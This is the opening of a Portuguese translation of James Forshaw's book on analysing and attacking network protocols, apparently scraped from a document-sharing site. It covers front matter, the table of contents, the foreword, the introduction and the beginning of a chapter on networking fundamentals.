0% acharam este documento útil (0 voto)
1 visualizações836 páginas

Attacking Network Protocols

Enviado por

pasteureinstein
Direitos autorais
© All Rights Reserved
Levamos muito a sério os direitos de conteúdo. Se você suspeita que este conteúdo é seu, reivindique-o aqui.
Formatos disponíveis
Baixe no formato PDF, TXT ou leia on-line no Scribd
0% acharam este documento útil (0 voto)
1 visualizações836 páginas

Attacking Network Protocols

Enviado por

pasteureinstein
Direitos autorais
© All Rights Reserved
Levamos muito a sério os direitos de conteúdo. Se você suspeita que este conteúdo é seu, reivindique-o aqui.
Formatos disponíveis
Baixe no formato PDF, TXT ou leia on-line no Scribd

ATAQUE A PROTOCOLOS DE REDE

Guia do Hacker para Captura, Análise e Exploração

Por James Forshaw

São Francisco
ATAQUE A PROTOCOLOS DE REDE. Copyright © 2018 por James
Forshaw.

Todos os direitos reservados. Nenhuma parte desta obra pode


ser reproduzida ou transmitida de qualquer forma ou por
qualquer meio, eletrônico ou mecânico, incluindo fotocópia,
gravação ou por qualquer sistema de armazenamento e
recuperação de informações, sem a prévia autorização por
escrito do detentor dos direitos autorais e da editora.

ISBN-10: 1-59327-750-4
ISBN-13: 978-1-59327-750-5

Editora: William Pollock


Editora de Produção: Laurel Chun
Ilustração da Capa: Garry Booth
Design de Interiores: Octopod Studios
Editores de Desenvolvimento: Liz Chadwick e William Pollock
Revisores Técnicos: Cliff Janzen
Revisores Técnicos Adicionais: Arrigo Triulzi e Peter Gutmann
Revisora de Texto: Anne Marie Walker
Compositores: Laurel Chun e Meg Sneeringer
Revisora de Provas: Paula L. Fleming
Indexador: BIM Creatives, LLC
Para informações sobre distribuição, traduções ou vendas em
grande quantidade, entre em contato diretamente com a No
Starch Press, Inc.: No Starch Press, Inc., 245 8th Street, San
Francisco, CA 94103, telefone: 1.415.863.9900;
info@[Link], [Link]

Número de controle da Biblioteca do Congresso: 2017954429

No Starch Press e o logotipo da No Starch Press são marcas


registradas da No Starch Press, Inc. Outros nomes de produtos e
empresas mencionados neste documento podem ser marcas
comerciais de seus respectivos proprietários. Em vez de usar
um símbolo de marca registrada a cada ocorrência de um nome
registrado, estamos usando os nomes apenas de forma editorial
e em benefício do proprietário da marca, sem qualquer
intenção de infringir a marca registrada.

As informações contidas neste livro são distribuídas "tal como


estão", sem qualquer garantia. Embora todas as precauções
tenham sido tomadas na preparação desta obra, nem o autor
nem a No Starch Press, Inc. serão responsabilizados perante
qualquer pessoa ou entidade por quaisquer perdas ou danos
causados ou alegadamente causados direta ou indiretamente
pelas informações aqui contidas.
Sobre o autor

James Forshaw é um renomado pesquisador de segurança da


computação no Google Project Zero, com mais de dez anos de
experiência em análise e exploração de protocolos de rede de
aplicativos. Suas habilidades abrangem desde a quebra de
sistemas em consoles de jogos até a exposição de problemas
complexos de design em sistemas operacionais, especialmente o
Microsoft Windows, o que lhe rendeu a maior recompensa por
bugs, de US$ 100.000, e o colocou como o pesquisador número 1
na lista publicada pelo Centro de Resposta de Segurança da
Microsoft (MSRC). Ele é o criador da ferramenta de análise de
protocolos de rede Canape, desenvolvida a partir de seus anos
de experiência. Ele já foi convidado a apresentar suas pesquisas
inovadoras em segurança em conferências globais de
segurança, como Black Hat, CanSecWest e Chaos Computer
Congress.
Sobre o Revisor Técnico

Desde os primórdios do Commodore PET e do VIC-20, a


tecnologia tem sido uma constante (e às vezes uma obsessão!)
na vida de Cliff Janzen. Cliff descobriu sua paixão profissional
quando migrou para a segurança da informação em 2008, após
uma década atuando em operações de TI. Desde então, Cliff teve
a grande sorte de trabalhar e aprender com alguns dos
melhores profissionais do setor, incluindo o Sr. Forshaw e a
excelente equipe da No Starch durante a produção deste livro.
Ele trabalha com satisfação como consultor de segurança,
realizando desde revisão de políticas até testes de penetração.
Ele se sente privilegiado por ter uma carreira que também é seu
hobby favorito e uma esposa que o apoia.
BREVE SUMÁRIO

Prefácio de Katie Moussouris

Agradecimentos

Introdução

Capítulo 1: Os Fundamentos de Redes

Capítulo 2: Capturando o tráfego do aplicativo

Capítulo 3: Estruturas de Protocolos de Rede

Capítulo 4: Captura Avançada de Tráfego de Aplicativos

Capítulo 5: Análise a partir da Linha de Comunicação

Capítulo 6: Engenharia Reversa de Aplicações

Capítulo 7: Segurança do Protocolo de Rede

Capítulo 8: Implementando o Protocolo de Rede

Capítulo 9: As Causas Fundamentais das Vulnerabilidades

Capítulo 10: Identificando e Explorando Vulnerabilidades de


Segurança
Apêndice: Kit de Ferramentas para Análise de Protocolos de
Rede

Índice
CONTEÚDO EM DETALHES

PREFÁCIO por Katie Moussouris

AGRADECIMENTOS

INTRODUÇÃO

Por que ler este livro?

O que contém este livro?

Como usar este livro

Entre em contato comigo

1
OS FUNDAMENTOS DE REDES

Arquitetura e protocolos de rede

O conjunto de protocolos da Internet

Encapsulamento de dados

Cabeçalhos, rodapés e endereços

Transmissão de dados
Roteamento de rede

Meu modelo para análise de protocolos de rede

Palavras finais

2
CAPTURA DE TRÁFEGO DE APLICATIVOS

Captura passiva de tráfego de rede

Guia rápido para Wireshark

Técnicas alternativas de captura passiva

Rastreamento de chamadas do sistema

O utilitário strace no Linux

Monitoramento de conexões de rede com DTrace

Monitor de Processos no Windows

Vantagens e desvantagens da captura passiva

Captura ativa de tráfego de rede

Proxies de rede
Proxy de encaminhamento de portas

Proxy SOCKS

Proxies HTTP

Encaminhando um proxy HTTP

Proxy HTTP reverso

Palavras finais

3
ESTRUTURAS DE PROTOCOLO DE REDE

Estruturas de Protocolo Binário

Dados numéricos

Booleanos

Sinalizadores de bits

Binário Endian

Texto e dados legíveis por humanos

Dados binários de comprimento variável


Datas e horários

Tempo POSIX/Unix

Windows FILETIME

Etiqueta, Comprimento, Padrão de Valor

Multiplexação e Fragmentação

Informações de endereço de rede

Formatos binários estruturados

Estruturas de Protocolo de Texto

Dados numéricos

Texto Booleanos

Datas e horários

Dados de comprimento variável

Formatos de texto estruturado

Codificação de dados binários

Codificação Hexadecimal
Base64

Palavras finais

4
CAPTURA DE TRÁFEGO DE APLICAÇÕES AVANÇADAS

Redirecionamento de tráfego

Usando o Traceroute

Tabelas de roteamento

Configurando um roteador

Habilitando o roteamento no Windows

Habilitando o roteamento em sistemas *nix

Tradução de Endereços de Rede

Habilitando SNAT

Configurando o SNAT no Linux

Habilitando DNAT

Encaminhamento de tráfego para um gateway


Spoofing de DHCP

Envenenamento por ARP

Palavras finais

5
ANÁLISE DA AGÊNCIA

O aplicativo que gera tráfego: SuperFunkyChat

Iniciando o servidor

Clientes Iniciais

Comunicação entre clientes

Um curso intensivo de análise com Wireshark

Geração de tráfego de rede e captura de pacotes

Análise básica

Lendo o conteúdo de uma sessão TCP

Identificação da estrutura de pacotes com despejo hexadecimal

Visualizando Pacotes Individuais


Determinação da estrutura do protocolo

Testando nossas hipóteses

Analisando o protocolo com Python

Desenvolvendo dissecadores do Wireshark em Lua

Criando o Dissecador

A Dissecação de Lua

Analisando um pacote de mensagens

Utilizando um proxy para analisar ativamente o tráfego.

Configurando o proxy

Análise de protocolo usando um proxy

Adicionando análise básica de protocolo

Mudança de comportamento do protocolo

Palavras finais

6
ENGENHARIA REVERSA DE APLICAÇÕES
Compiladores, Interpretadores e Assembladores

Línguas interpretadas

Linguagens compiladas

Ligação estática versus ligação dinâmica

A arquitetura x86

A Arquitetura do Conjunto de Instruções

Registros da CPU

Fluxo do programa

Noções básicas de sistemas operacionais

Formatos de Arquivos Executáveis

Seções

Processos e Threads

Interface de Rede do Sistema Operacional

Interface Binária de Aplicação

Engenharia Reversa Estática


Guia rápido para usar a versão gratuita do IDA Pro

Analisando variáveis e argumentos da pilha

Identificação das principais funcionalidades

Engenharia Reversa Dinâmica

Definindo pontos de interrupção

Depurador Windows

Onde definir os pontos de interrupção?

Engenharia Reversa de Linguagens Gerenciadas

Aplicações .NET

Usando o ILSpy

Aplicações Java

Lidando com a Ofuscação

Recursos de engenharia reversa

Palavras finais
7
SEGURANÇA DE PROTOCOLO DE REDE

Algoritmos de criptografia

Cifras de Substituição

Criptografia XOR

Geradores de Números Aleatórios

Criptografia de chave simétrica

Cifras de bloco

Modos de cifra de bloco

Preenchimento de cifra de bloco

Ataque de oráculo de preenchimento

Cifras de fluxo

Criptografia de chave assimétrica

Algoritmo RSA

Acolchoamento RSA
Troca de chaves Diffie-Hellman

Algoritmos de assinatura

Algoritmos de hash criptográficos

Algoritmos de assinatura assimétrica

Códigos de autenticação de mensagens

Infraestrutura de chave pública

Certificados X.509

Verificação de uma cadeia de certificados

Estudo de caso: Segurança da camada de transporte

O aperto de mãos TLS

Negociação inicial

Autenticação de ponto final

Estabelecendo a criptografia

Atender aos requisitos de segurança

Palavras finais
8
IMPLEMENTANDO O PROTOCOLO DE REDE

Reproduzindo tráfego de rede capturado existente

Capturando tráfego com o Netcat

Utilizando Python para reenviar tráfego UDP capturado

Reutilizando nosso proxy de análise

Reutilizando código executável existente

Reutilizando código em aplicações .NET

Reutilizando código em aplicações Java

Executáveis não gerenciados

Criptografia e como lidar com TLS

Aprendendo sobre a criptografia em uso

Decifrando o tráfego TLS

Palavras finais
9
AS CAUSAS PRINCIPAIS DAS VULNERABILIDADES

Classes de vulnerabilidade

Execução Remota de Código

Negação de serviço

Divulgação de informações

Bypass de autenticação

Ignorar autorização

Vulnerabilidades de corrupção de memória

Linguagens de programação com segurança de memória versus


linguagens sem segurança de memória

Estouro do buffer de memória

Indexação de buffer fora dos limites

Ataque de Expansão de Dados

Falhas na alocação dinâmica de memória


Credenciais padrão ou codificadas

Enumeração de usuários

Acesso incorreto ao recurso

Canonicalização

Erros verbosos

Ataques de exaustão de memória

Ataques de esgotamento de armazenamento

Ataques de exaustão da CPU

Complexidade Algorítmica

Criptografia Configurável

Vulnerabilidades de formatação de strings

Injeção de comando

Injeção de SQL

Substituição de caracteres de codificação de texto

Palavras finais
10
ENCONTRANDO E EXPLORANDO VULNERABILIDADES DE
SEGURANÇA

Teste de Fuzzing

O teste de desfoque mais simples

Fuzzer de Mutação

Geração de casos de teste

Triagem de Vulnerabilidades

Depuração de Aplicativos

Aumentando suas chances de encontrar a causa raiz de um


acidente

Explorando vulnerabilidades comuns

Explorando vulnerabilidades de corrupção de memória

Vulnerabilidade de escrita arbitrária na memória

Escrevendo código Shell

Começando
Técnica simples de depuração

Chamadas do sistema

Executando os outros programas

Gerando Shell Code com Metasploit

Mitigações de Exploração de Corrupção de Memória

Prevenção de Execução de Dados

Contra-exploração de programação orientada a retorno

Randomização do layout do espaço de endereçamento (ASLR)

Detectando estouros de pilha com canários de memória

Palavras finais

KIT DE FERRAMENTAS PARA ANÁLISE DE PROTOCOLOS DE


REDE

Ferramentas de captura e análise de protocolo de rede passivo

Analisador de mensagens da Microsoft

TCPDump e LibPCAP
Wireshark

Captura e análise ativa de redes

Sofá

Sofá Core

Mallory

Conectividade de rede e testes de protocolo

Hping

Netcat

Nmap

Teste de aplicações web

Suíte Burp

Proxy de Ataque Zed (ZAP)

Proxy de Mitm

Estruturas de Fuzzing, Geração de Pacotes e Exploração de


Vulnerabilidades
American Fuzzy Lop (AFL)

Kali Linux

Metasploit Framework

Scapy

Sulley

Falsificação e redirecionamento de rede

DNSMasq

Ettercap

Engenharia Reversa Executável

Descompilador Java (JD)

IDA Pro

Funil

ILSpy

.NET Reflector

ÍNDICE
PREFÁCIO

Quando conheci James Forshaw, eu trabalhava no que a


Popular Science descreveu em 2007 como um dos dez piores
empregos na área científica: um "funcionário de segurança da
Microsoft". Esse era o termo genérico que a revista usava para
qualquer pessoa que trabalhasse no Centro de Resposta de
Segurança da Microsoft (MSRC). O que fazia com que nossos
empregos fossem piores do que "pesquisador de fezes de
baleia", mas de alguma forma melhores do que "vasectomia de
elefantes" nessa lista (tão famosa entre nós, que sofremos em
Redmond, Washington, que fizemos camisetas com a frase), era
o fluxo incessante de relatórios de bugs de segurança em
produtos da Microsoft.

Foi aqui no MSRC que James, com seu olhar atento e criativo
para o incomum e o negligenciado, chamou minha atenção pela
primeira vez como estrategista de segurança. James foi o autor
de alguns dos relatórios de bugs de segurança mais
interessantes. Isso não era pouca coisa, considerando que o
MSRC recebia mais de 200.000 relatórios de bugs de segurança
por ano de pesquisadores da área. James não encontrava
apenas bugs simples — ele havia analisado o framework .NET e
encontrado problemas em nível de arquitetura. Embora esses
bugs de nível de arquitetura fossem mais difíceis de corrigir
com um patch simples, eles eram muito mais valiosos para a
Microsoft e seus clientes.

Avançando para a criação dos primeiros programas de


recompensas por bugs da Microsoft, que iniciei na empresa em
junho de 2013. Tínhamos três programas nesse lote inicial de
recompensas por bugs — programas que prometiam pagar
pesquisadores de segurança como James em troca do envio dos
bugs mais graves para a Microsoft. Eu sabia que, para que esses
programas comprovassem sua eficácia, precisávamos que bugs
de segurança de alta qualidade fossem relatados.

Se construíssemos a solução, não havia garantia de que os


caçadores de bugs apareceriam. Sabíamos que estávamos
competindo por alguns dos olhos mais habilidosos do mundo na
busca por bugs. Inúmeras outras recompensas em dinheiro
estavam disponíveis, e nem todos os mercados de bugs eram
para defesa. Estados-nação e criminosos tinham um mercado
ofensivo bem estabelecido para bugs e exploits, e a Microsoft
contava com os caçadores que já se apresentavam
gratuitamente, a uma taxa de 200.000 relatórios de bugs por
ano. As recompensas visavam concentrar a atenção desses
caçadores de bugs amigáveis e altruístas nos problemas que a
Microsoft mais precisava de ajuda para erradicar.
Então, é claro, convoquei James e mais alguns outros, porque
contava com eles para entregar os bugs. Para esses primeiros
programas de recompensas por bugs da Microsoft, nós, os
especialistas em segurança do MSRC, queríamos mesmo
vulnerabilidades no Internet Explorer (IE) 11 beta, e queríamos
algo que nenhum fornecedor de software jamais havia tentado
oferecer como recompensa por bugs: queríamos saber sobre
novas técnicas de exploração. Essa última recompensa era
conhecida como Recompensa por Bypass de Mitigação e valia
US$ 100.000 na época.

Lembro-me de estar sentado com James tomando uma cerveja


em Londres, tentando entusiasmá-lo com a busca por bugs no
Internet Explorer, quando ele explicou que nunca havia se
aprofundado muito em segurança de navegadores antes e me
alertou para não esperar muito dele.

Apesar disso, James apresentou quatro soluções alternativas


exclusivas para o IE 11 beta.

Quatro.

Essas vulnerabilidades de sandbox estavam em áreas do código


do IE que nossas equipes internas e nossos testadores de
penetração externos haviam deixado passar. Essas
vulnerabilidades de sandbox são essenciais para que outros
bugs sejam explorados com mais facilidade. James ganhou
recompensas por todos os quatro bugs, pagas pela própria
equipe do IE, além de um bônus extra de US$ 5.000 do meu
orçamento para recompensas. Pensando bem, eu
provavelmente deveria ter dado a ele mais US$ 50.000. Porque,
nossa! Nada mal para um caçador de bugs que nunca tinha
analisado a segurança de navegadores antes.

Apenas alguns meses depois, eu estava ligando para James do


lado de fora de um refeitório da Microsoft em um dia frio de
outono, completamente sem fôlego, para lhe contar que ele
tinha acabado de fazer história. Este funcionário da área de
segurança da Microsoft não poderia estar mais feliz em dar a
notícia de que sua inscrição para um dos outros programas de
recompensas por bugs da Microsoft — a Recompensa por
Bypass de Mitigação, no valor de US$ 100.000 — havia sido
aceita. James Forshaw havia descoberto uma nova maneira
exclusiva de contornar todas as defesas da plataforma usando
falhas de arquitetura no sistema operacional mais recente e
ganhou a primeira recompensa de US$ 100.000 da Microsoft.

Naquela ligação, se bem me lembro da conversa, ele disse que


me imaginava entregando a ele um cheque gigante e cômico no
palco da conferência interna da Microsoft, a BlueHat. Enviei um
e-mail para o departamento de marketing depois daquela
ligação e, num instante, "James e o Cheque Gigante" se tornou
parte da história da Microsoft e da internet para sempre.

Tenho certeza de que os leitores encontrarão nas páginas


seguintes deste livro vislumbres da genialidade incomparável
de James — a mesma genialidade que vi transparecer em um ou
dois relatórios de bugs há tantos anos. Existem pouquíssimos
pesquisadores de segurança capazes de encontrar bugs em uma
tecnologia avançada, e ainda menos que conseguem encontrá-
los em mais de uma com consistência. E existem pessoas como
James Forshaw, que conseguem se concentrar em questões
arquitetônicas mais profundas com a precisão de um cirurgião.
Espero que aqueles que lerem este livro, e qualquer livro futuro
de James, o considerem um guia prático para despertar essa
mesma genialidade e criatividade em seu próprio trabalho.

Numa reunião sobre recompensas por bugs na Microsoft,


enquanto os membros da equipe do Internet Explorer
balançavam a cabeça, perplexos, sem entender como alguns
dos bugs relatados por James haviam passado despercebidos,
eu simplesmente afirmei: "James consegue ver a Dama de
Vestido Vermelho, assim como o código que a criou, na Matrix."
Todos ao redor da mesa aceitaram essa explicação para o tipo
de mente que James possuía. Ele era capaz de entortar qualquer
colher; e, estudando seu trabalho, se você tiver a mente aberta,
você também poderá.

Para todos os caçadores de bugs do mundo, aqui está o padrão,


e ele é alto. Para todos os incontáveis profissionais de segurança
do mundo, que todos os seus relatórios de bugs sejam tão
interessantes e valiosos quanto aqueles fornecidos pelo único e
inigualável James Forshaw.

Katie Moussouris

Fundador e CEO da Luta Security

Outubro de 2017
AGRADECIMENTOS

Gostaria de agradecer por ler meu livro; espero que o considere


esclarecedor e de utilidade prática. Sou grato pelas
contribuições de muitas pessoas diferentes.

Devo começar agradecendo à minha adorável esposa Huayi,


que garantiu que eu continuasse escrevendo, mesmo quando eu
realmente não queria. Graças ao seu incentivo, terminei o livro
em apenas quatro anos; sem ela, talvez pudesse tê-lo escrito em
dois, mas não teria sido tão divertido.

É claro que eu definitivamente não estaria aqui hoje sem meus


pais incríveis. O amor e o incentivo deles me levaram a me
tornar um pesquisador de segurança da computação
amplamente reconhecido e um autor publicado. Eles
compraram um computador para a família — um Atari 400 —
quando eu era criança, e foram fundamentais para despertar
meu interesse por computadores e desenvolvimento de
software. Sou imensamente grato a eles por todas as
oportunidades que me deram.

Um ótimo contraponto à minha paixão por computadores foi


meu amigo de longa data, Sam Shearon. Sempre mais confiante
e extrovertido, além de um artista incrível, ele me mostrou um
lado diferente da vida.

Ao longo da minha carreira, muitos colegas e amigos


contribuíram significativamente para as minhas conquistas. Em
especial, gostaria de destacar Richard Neal, um grande amigo e,
por vezes, meu gestor direto, que me incentivou a desenvolver
o interesse pela segurança informática, uma área que se
adequava perfeitamente à minha mentalidade.

Também não posso me esquecer de Mike Jordon, que me


convenceu a começar a trabalhar na Context Information
Security, no Reino Unido. Juntamente com os proprietários Alex
Church e Mark Raeburn, eles me deram tempo para realizar
pesquisas de segurança impactantes, aprimorar minhas
habilidades em análise de protocolos de rede e desenvolver
ferramentas como o Canape. Essa experiência de atacar
protocolos de rede reais, e geralmente totalmente
personalizados, é a base de grande parte do conteúdo deste
livro.

Devo agradecer a Katie Moussouris por me convencer a


participar do programa de recompensas por contornar as
vulnerabilidades da Microsoft, aumentando enormemente
minha visibilidade no mundo da segurança da informação e,
claro, por me dar um cheque simbólico gigante de US$ 100.000
pelo meu trabalho.

Minha crescente visibilidade foi muito útil quando a equipe do


Google Project Zero — um grupo de pesquisadores de segurança
de renome mundial com o objetivo de tornar as plataformas
das quais todos dependemos mais seguras — estava sendo
formada. Will Harris me indicou para o atual chefe da equipe,
Chris Evans, que me convenceu a fazer uma entrevista, e logo
eu era um Googler. Fazer parte de uma equipe tão excelente me
enche de orgulho.

Por fim, gostaria de agradecer a Bill, Laurel e Liz da No Starch


Press pela paciência em esperar que eu terminasse este livro e
pelos excelentes conselhos que me deram sobre como abordá-
lo. Espero que eles, e vocês, fiquem satisfeitos com o resultado
final.
INTRODUÇÃO

Quando foi introduzida, a tecnologia que permitia que


dispositivos se conectassem a uma rede era exclusiva de
grandes empresas e governos. Hoje, a maioria das pessoas
carrega um dispositivo computacional totalmente conectado em
rede no bolso e, com o crescimento da Internet das Coisas (IoT),
podemos adicionar dispositivos como nossa geladeira e o
sistema de segurança de nossa casa a esse mundo
interconectado. A segurança desses dispositivos conectados é,
portanto, cada vez mais importante. Embora você possa não se
preocupar muito com alguém divulgando detalhes sobre
quantos iogurtes você compra, se seu smartphone for
comprometido na mesma rede que sua geladeira, você poderá
perder todas as suas informações pessoais e financeiras para
um invasor malicioso.

Este livro se chama "Ataque a Protocolos de Rede" porque, para


encontrar vulnerabilidades de segurança em um dispositivo
conectado à rede, é preciso adotar a mentalidade do atacante
que deseja explorar essas fraquezas. Os protocolos de rede se
comunicam com outros dispositivos em uma rede e, como esses
protocolos precisam estar expostos a uma rede pública e
geralmente não passam pelo mesmo nível de escrutínio que
outros componentes de um dispositivo, eles são um alvo óbvio
para ataques.

Por que ler este livro?

Muitos livros abordam a captura de tráfego de rede para fins de


diagnóstico e análise básica de redes, mas não se concentram
nos aspectos de segurança dos protocolos capturados. O
diferencial deste livro é o foco na análise de protocolos
personalizados para encontrar vulnerabilidades de segurança.

Este livro é para aqueles que têm interesse em analisar e atacar


protocolos de rede, mas não sabem por onde começar. Os
capítulos irão guiá-lo através do aprendizado de técnicas para
capturar tráfego de rede, realizar análises de protocolos e
descobrir e explorar vulnerabilidades de segurança. O livro
fornece informações básicas sobre redes e segurança de redes,
bem como exemplos práticos de protocolos para análise.

Quer você queira atacar protocolos de rede para relatar


vulnerabilidades de segurança ao fornecedor de um aplicativo
ou simplesmente queira saber como seu dispositivo IoT mais
recente se comunica, encontrará diversos tópicos de seu
interesse.

O que contém este livro?


Este livro contém uma combinação de capítulos teóricos e
práticos. Para os capítulos práticos, desenvolvi e disponibilizei
uma biblioteca de redes chamada Canape Core, que você pode
usar para criar suas próprias ferramentas de análise e
exploração de protocolos. Também incluí um exemplo de
aplicação em rede chamada SuperFunkyChat, que implementa
um protocolo de bate-papo entre usuários. Ao acompanhar as
discussões nos capítulos, você poderá usar a aplicação de
exemplo para aprender as habilidades de análise de protocolos
e atacar os protocolos de rede de exemplo. Segue um breve
resumo de cada capítulo:

Capítulo 1: Os Fundamentos de Redes

Este capítulo descreve os fundamentos de redes de


computadores com foco particular no TCP/IP, que constitui a
base dos protocolos de rede de camada de aplicação. Os
capítulos subsequentes pressupõem que você tenha um bom
domínio dos fundamentos de redes. Este capítulo também
apresenta a abordagem que utilizo para modelar protocolos de
aplicação. O modelo decompõe o protocolo de aplicação em
camadas flexíveis e abstrai detalhes técnicos complexos,
permitindo que você se concentre nas partes específicas do
protocolo que está analisando.
Capítulo 2: Capturando o tráfego do aplicativo

Este capítulo apresenta os conceitos de captura passiva e ativa


de tráfego de rede e é o primeiro capítulo a utilizar as
bibliotecas de rede Canape Core para tarefas práticas.

Capítulo 3: Estruturas de Protocolos de Rede

Este capítulo contém detalhes sobre as estruturas internas


comuns a todos os protocolos de rede, como a representação de
números ou texto legível por humanos. Ao analisar o tráfego de
rede capturado, você pode usar esse conhecimento para
identificar rapidamente estruturas comuns, agilizando sua
análise.

Capítulo 4: Captura Avançada de Tráfego de Aplicativos

Este capítulo explora diversas técnicas de captura mais


avançadas que complementam os exemplos do Capítulo 2. As
técnicas avançadas de captura incluem a configuração da
Tradução de Endereços de Rede (NAT) para redirecionar o
tráfego de interesse e a falsificação do protocolo de resolução
de endereços.

Capítulo 5: Análise a partir da Linha de Comunicação


Este capítulo apresenta métodos para analisar o tráfego de rede
capturado usando as técnicas passivas e ativas descritas no
Capítulo 2. Neste capítulo, começamos usando o aplicativo
SuperFunkyChat para gerar tráfego de exemplo.

Capítulo 6: Engenharia Reversa de Aplicações

Este capítulo descreve técnicas para engenharia reversa de


programas conectados à rede. A engenharia reversa permite
analisar um protocolo sem a necessidade de capturar tráfego de
exemplo. Esses métodos também ajudam a identificar como a
criptografia ou ofuscação personalizada é implementada, para
que você possa analisar melhor o tráfego capturado.

Capítulo 7: Segurança do Protocolo de Rede

Este capítulo fornece informações básicas sobre técnicas e


algoritmos criptográficos usados para proteger protocolos de
rede. Proteger o conteúdo do tráfego de rede contra divulgação
ou adulteração durante sua transmissão por redes públicas é de
extrema importância para a segurança de protocolos de rede.

Capítulo 8: Implementando o Protocolo de Rede

Este capítulo explica técnicas para implementar o protocolo de


rede da aplicação em seu próprio código, para que você possa
testar o comportamento do protocolo e encontrar
vulnerabilidades de segurança.

Capítulo 9: As Causas Fundamentais das Vulnerabilidades

Este capítulo descreve vulnerabilidades de segurança comuns


que você encontrará em um protocolo de rede. Ao entender as
causas principais das vulnerabilidades, você poderá identificá-
las mais facilmente durante a análise.

Capítulo 10: Identificando e Explorando Vulnerabilidades de


Segurança

Este capítulo descreve os processos para encontrar


vulnerabilidades de segurança com base nas causas raiz
apresentadas no Capítulo 9 e demonstra várias maneiras de
explorá-las, incluindo o desenvolvimento de seu próprio
shellcode e a superação de medidas de mitigação de exploração
por meio de programação orientada a retorno.

Apêndice: Kit de Ferramentas para Análise de Protocolos de


Rede

No apêndice, você encontrará descrições de algumas das


ferramentas que costumo usar ao realizar análises de
protocolos de rede. Muitas dessas ferramentas também são
descritas brevemente no corpo principal do texto.

Como usar este livro

Se você deseja começar com uma revisão dos conceitos básicos


de redes, leia primeiro o Capítulo 1. Quando estiver
familiarizado com os conceitos básicos, prossiga para os
Capítulos 2, 3 e 5 para obter experiência prática na captura de
tráfego de rede e aprender o processo de análise de protocolos
de rede.

Com o conhecimento dos princípios de captura e análise de


tráfego de rede, você pode prosseguir para os capítulos 7 a 10
para obter informações práticas sobre como encontrar e
explorar vulnerabilidades de segurança nesses protocolos. Os
capítulos 4 e 6 contêm informações mais avançadas sobre
técnicas adicionais de captura e engenharia reversa de
aplicações, portanto, você pode lê-los após a leitura dos outros
capítulos, se preferir.

Para os exemplos práticos, você precisará instalar o .NET Core


([Link] que é uma versão
multiplataforma do runtime .NET da Microsoft, compatível com
Windows, Linux e macOS. Você pode então baixar as versões do
Canape Core em
[Link] e do
SuperFunkyChat em
[Link]
ambos utilizam o .NET Core como runtime. Os links para cada
site estão disponíveis nos recursos do livro em
[Link]

Para executar os scripts de exemplo do Canape Core, você


precisará usar o aplicativo [Link], que estará no pacote de
lançamento baixado do repositório do Canape Core no Github.
Execute o script com a seguinte linha de comando, substituindo
[Link] pelo nome do script que você deseja executar.

dotnet exec [Link] [Link]

Todos os exemplos de código para os capítulos práticos, bem


como as capturas de pacotes, estão disponíveis na página do
livro em [Link] É
recomendável baixar esses exemplos antes de começar, para
que você possa acompanhar os capítulos práticos sem precisar
digitar manualmente uma grande quantidade de código-fonte.

Entre em contato comigo


Estou sempre interessado em receber feedback, tanto positivo
quanto negativo, sobre meu trabalho, e este livro não é exceção.
Você pode me enviar um e-mail para
[Link]@[Link]. Você também pode me
seguir no Twitter @tiraniddo ou se inscrever no meu blog em
[Link] onde publico algumas das
minhas pesquisas mais recentes em segurança avançada.
1
OS FUNDAMENTOS DE REDES

Para atacar protocolos de rede, é preciso compreender os


fundamentos de redes de computadores. Quanto mais você
entender como as redes comuns são construídas e funcionam,
mais fácil será aplicar esse conhecimento para capturar,
analisar e explorar novos protocolos.

Ao longo deste capítulo, apresentarei conceitos básicos de redes


que você encontrará diariamente ao analisar protocolos de
rede. Também estabelecerei as bases para uma forma de pensar
sobre protocolos de rede, facilitando a identificação de
problemas de segurança até então desconhecidos durante sua
análise.

Arquitetura e protocolos de rede

Vamos começar revisando alguns termos básicos de redes e


fazendo a pergunta fundamental: o que é uma rede? Uma rede
é um conjunto de dois ou mais computadores conectados para
compartilhar informações. É comum se referir a cada
dispositivo conectado como um nó na rede para tornar a
descrição aplicável a uma gama maior de dispositivos. A Figura
1-1 mostra um exemplo muito simples.
Figura 1-1: Uma rede simples de três nós

A figura mostra três nós conectados por uma rede comum. Cada
nó pode ter um sistema operacional ou hardware diferente.
Mas, desde que cada nó siga um conjunto de regras, ou
protocolo de rede, ele pode se comunicar com os outros nós da
rede. Para que a comunicação seja correta, todos os nós da rede
devem compreender o mesmo protocolo de rede.

Um protocolo de rede desempenha diversas funções, incluindo


uma ou mais das seguintes:

Manutenção do estado da sessão. Os protocolos normalmente


implementam mecanismos para criar novas conexões e
encerrar conexões existentes.

Identificação de nós por meio de endereçamento. Os dados


devem ser transmitidos para o nó correto em uma rede. Alguns
protocolos implementam um mecanismo de endereçamento
para identificar nós específicos ou grupos de nós.

Controle de fluxo: A quantidade de dados transferidos em uma


rede é limitada. Os protocolos podem implementar maneiras de
gerenciar o fluxo de dados para aumentar a taxa de
transferência e reduzir a latência.

Garantir a ordem dos dados transmitidos: Muitas redes não


garantem que a ordem em que os dados são enviados
corresponda à ordem em que são recebidos. Um protocolo pode
reordenar os dados para garantir que sejam entregues na
ordem correta.

Detecção e correção de erros: Muitas redes não são 100%


confiáveis; os dados podem ser corrompidos. É importante
detectar a corrupção e, idealmente, corrigi-la.

Formatação e codificação de dados. Os dados nem sempre estão


em um formato adequado para transmissão em rede. Um
protocolo pode especificar maneiras de codificar dados, como
codificar texto em inglês em valores binários.

O conjunto de protocolos da Internet


O TCP/IP é o protocolo padrão utilizado pelas redes modernas.
Embora possa ser considerado um único protocolo, ele é, na
verdade, uma combinação de dois protocolos: o Protocolo de
Controle de Transmissão (TCP) e o Protocolo da Internet (IP).
Esses dois protocolos fazem parte do Conjunto de Protocolos da
Internet (IPS), um modelo conceitual de como os protocolos de
rede enviam tráfego de rede pela internet, que divide a
comunicação de rede em quatro camadas, conforme ilustrado
na Figura 1-2.

Figura 1-2: Camadas do conjunto de protocolos da Internet


Essas quatro camadas formam uma pilha de protocolos. A lista
a seguir explica cada camada do IPS:

Camada de enlace (camada 1): Esta camada é o nível mais baixo


e descreve os mecanismos físicos usados para transferir
informações entre nós em uma rede local. Exemplos conhecidos
incluem Ethernet (com fio e sem fio) e o Protocolo Ponto a
Ponto (PPP).

Camada de Internet (camada 2): Esta camada fornece os


mecanismos para endereçamento de nós de rede. Ao contrário
da camada 1, os nós não precisam estar localizados na rede
local. Este nível contém o IP; em redes modernas, o protocolo
efetivamente utilizado pode ser a versão 4 (IPv4) ou a versão 6
(IPv6).

Camada de transporte (camada 3): Esta camada é responsável


pelas conexões entre clientes e servidores, garantindo, por
vezes, a ordem correta dos pacotes e fornecendo multiplexação
de serviços. A multiplexação de serviços permite que um único
